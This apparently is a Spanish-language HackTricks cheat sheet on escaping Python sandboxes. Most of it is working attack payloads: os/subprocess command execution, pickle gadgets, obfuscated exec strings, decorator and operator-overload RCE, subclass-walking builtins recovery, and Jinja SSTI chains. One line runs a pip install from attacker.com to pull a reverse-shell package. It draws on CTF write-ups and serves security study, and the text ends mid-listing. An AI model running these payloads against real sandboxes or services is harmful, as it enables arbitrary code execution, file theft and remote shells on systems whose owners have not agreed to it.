hacktricks/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md

# Bypass Python sandboxes

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***

Estos son algunos trucos para saltar las protecciones de sandbox de Python y ejecutar comandos arbitrarios.

## Bibliotecas de Ejecución de Comandos

Lo primero que necesitas saber es si puedes ejecutar código directamente con alguna biblioteca ya importada, o si puedes importar alguna de estas bibliotecas:

```python
os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
```

Recuerda que las funciones _**open**_ y _**read**_ pueden ser útiles para **leer archivos** dentro del sandbox de Python y para **escribir código** que podrías **ejecutar** para **burlar** el sandbox.

{% hint style="danger" %}
La función **input()** de Python2 permite ejecutar código de Python antes de que el programa falle.
{% endhint %}

Python intenta **cargar bibliotecas desde el directorio actual primero** (el siguiente comando imprimirá desde dónde está cargando módulos Python): `python3 -c 'import sys; print(sys.path)'`

![](<../../../.gitbook/assets/image (552).png>)

## Burlar el sandbox de pickle con los paquetes de Python instalados por defecto

### Paquetes por defecto

Puedes encontrar una **lista de paquetes preinstalados** aquí: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Ten en cuenta que desde un pickle puedes hacer que el entorno de Python **importe bibliotecas arbitrarias** instaladas en el sistema.\
Por ejemplo, el siguiente pickle, al cargarse, importará la biblioteca pip para usarla:

```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```

Para obtener más información sobre cómo funciona pickle, consulta esto: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)

### Paquete Pip

Truco compartido por **@isHaacK**

Si tienes acceso a `pip` o `pip.main()`, puedes instalar un paquete arbitrario y obtener un shell inverso llamando:

```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```

Puedes descargar el paquete para crear la shell inversa aquí. Por favor, ten en cuenta que antes de usarlo debes **descomprimirlo, cambiar el `setup.py`, y poner tu IP para la shell inversa**:

{% file src="../../../.gitbook/assets/reverse.tar.gz" %}

{% hint style="info" %}
Este paquete se llama `Reverse`. Sin embargo, fue especialmente diseñado para que cuando salgas de la shell inversa, el resto de la instalación falle, de modo que **no dejarás ningún paquete de Python adicional instalado en el servidor** al irte.
{% endhint %}

## Evaluar código Python

{% hint style="warning" %}
Ten en cuenta que exec permite cadenas de varias líneas y ";", pero eval no (ver operador walrus)
{% endhint %}

Si ciertos caracteres están prohibidos, puedes usar la representación en **hexadecimal/octal/Base64** para **burlar** la restricción:

```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
```

```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```

### Otras bibliotecas que permiten evaluar código Python

```python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```

## Operadores y trucos cortos

```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```

## Saltándose protecciones a través de codificaciones (UTF-7)

En [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se utiliza UTF-7 para cargar y ejecutar código Python arbitrario dentro de un sandbox aparente:

```python
assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```

También es posible evadirlo utilizando otras codificaciones, por ejemplo, `raw_unicode_escape` y `unicode_escape`.

## Ejecución de Python sin llamadas

Si te encuentras dentro de una cárcel de Python que **no te permite realizar llamadas**, aún existen algunas formas de **ejecutar funciones, código** y **comandos** arbitrarios.

### RCE con [decoradores](https://docs.python.org/3/glossary.html#term-decorator)

```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass
```

### RCE creando objetos y sobrecargando

Si puedes **declarar una clase** y **crear un objeto** de esa clase, podrías **escribir/sobrescribir diferentes métodos** que pueden ser **activados** **sin** **necesidad de llamarlos directamente**.

#### RCE con clases personalizadas

Puedes modificar algunos **métodos de clase** (_sobrescribiendo métodos de clase existentes o creando una nueva clase_) para hacer que ejecuten **código arbitrario** cuando sean **activados** sin llamarlos directamente.

```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```

#### Creación de objetos con [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)

Lo fundamental que nos permiten hacer las metaclasses es **crear una instancia de una clase, sin llamar directamente al constructor**, al crear una nueva clase con la clase objetivo como metaclass.

```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object
```

#### Creación de objetos con excepciones

Cuando se **desencadena una excepción** se **crea un objeto** de la **Excepción** sin necesidad de llamar al constructor directamente (un truco de [**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)):

```python
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object
```

### Más RCE

```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```

### Leer archivo con la ayuda de builtins y licencia

```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```

## Funciones integradas

* [**Funciones integradas de python2**](https://docs.python.org/2/library/functions.html)
* [**Funciones integradas de python3**](https://docs.python.org/3/library/functions.html)

Si puedes acceder al objeto **`__builtins__`** puedes importar bibliotecas (ten en cuenta que también podrías usar aquí otra representación de cadena mostrada en la última sección):

```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```

### Sin Builtins

Cuando no tienes `__builtins__`, no podrás importar nada ni siquiera leer o escribir archivos, ya que **todas las funciones globales** (como `open`, `import`, `print`...) **no están cargadas**.\
Sin embargo, **por defecto Python importa muchos módulos en memoria**. Estos módulos pueden parecer inofensivos, pero algunos de ellos **también importan funcionalidades peligrosas** en su interior que pueden ser accedidas para lograr incluso una **ejecución de código arbitraria**.

En los siguientes ejemplos puedes observar cómo **abusar** de algunos de estos módulos "**inofensivos**" cargados para **acceder** a **funcionalidades peligrosas** en su interior.

**Python2**

```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```

#### Python3

#### Python3

```python
# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```

[**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar **decenas**/**centenas** de **lugares** donde puedes encontrar los **builtins**.

#### Python2 y Python3

```python
# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
```

### Cargas útiles de funciones integradas

```python
# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```

## Globales y locales

Revisar las **`globals`** y **`locals`** es una buena manera de saber a qué puedes acceder.

```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```

[**A continuación hay una función más grande**](./#recursive-search-of-builtins-globals) para encontrar **decenas**/**centenas** de **lugares** donde puedes encontrar los **globals**.

## Descubrir Ejecución Arbitraria

Aquí quiero explicar cómo descubrir fácilmente **funcionalidades más peligrosas cargadas** y proponer exploits más confiables.

#### Accediendo a subclases con bypasses

Una de las partes más sensibles de esta técnica es poder **acceder a las subclases base**. En los ejemplos anteriores esto se hizo usando `''.__class__.__base__.__subclasses__()`, pero hay **otras formas posibles**:

```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```

### Encontrar bibliotecas peligrosas cargadas

Por ejemplo, sabiendo que con la biblioteca **`sys`** es posible **importar bibliotecas arbitrarias**, puedes buscar todos los **módulos cargados que hayan importado sys dentro de ellos**:

```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```

Hay muchos, y **solo necesitamos uno** para ejecutar comandos:

```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```

Podemos hacer lo mismo con **otras bibliotecas** que sabemos que se pueden usar para **ejecutar comandos**:

```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```

Además, incluso podríamos buscar qué módulos están cargando bibliotecas maliciosas:

```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
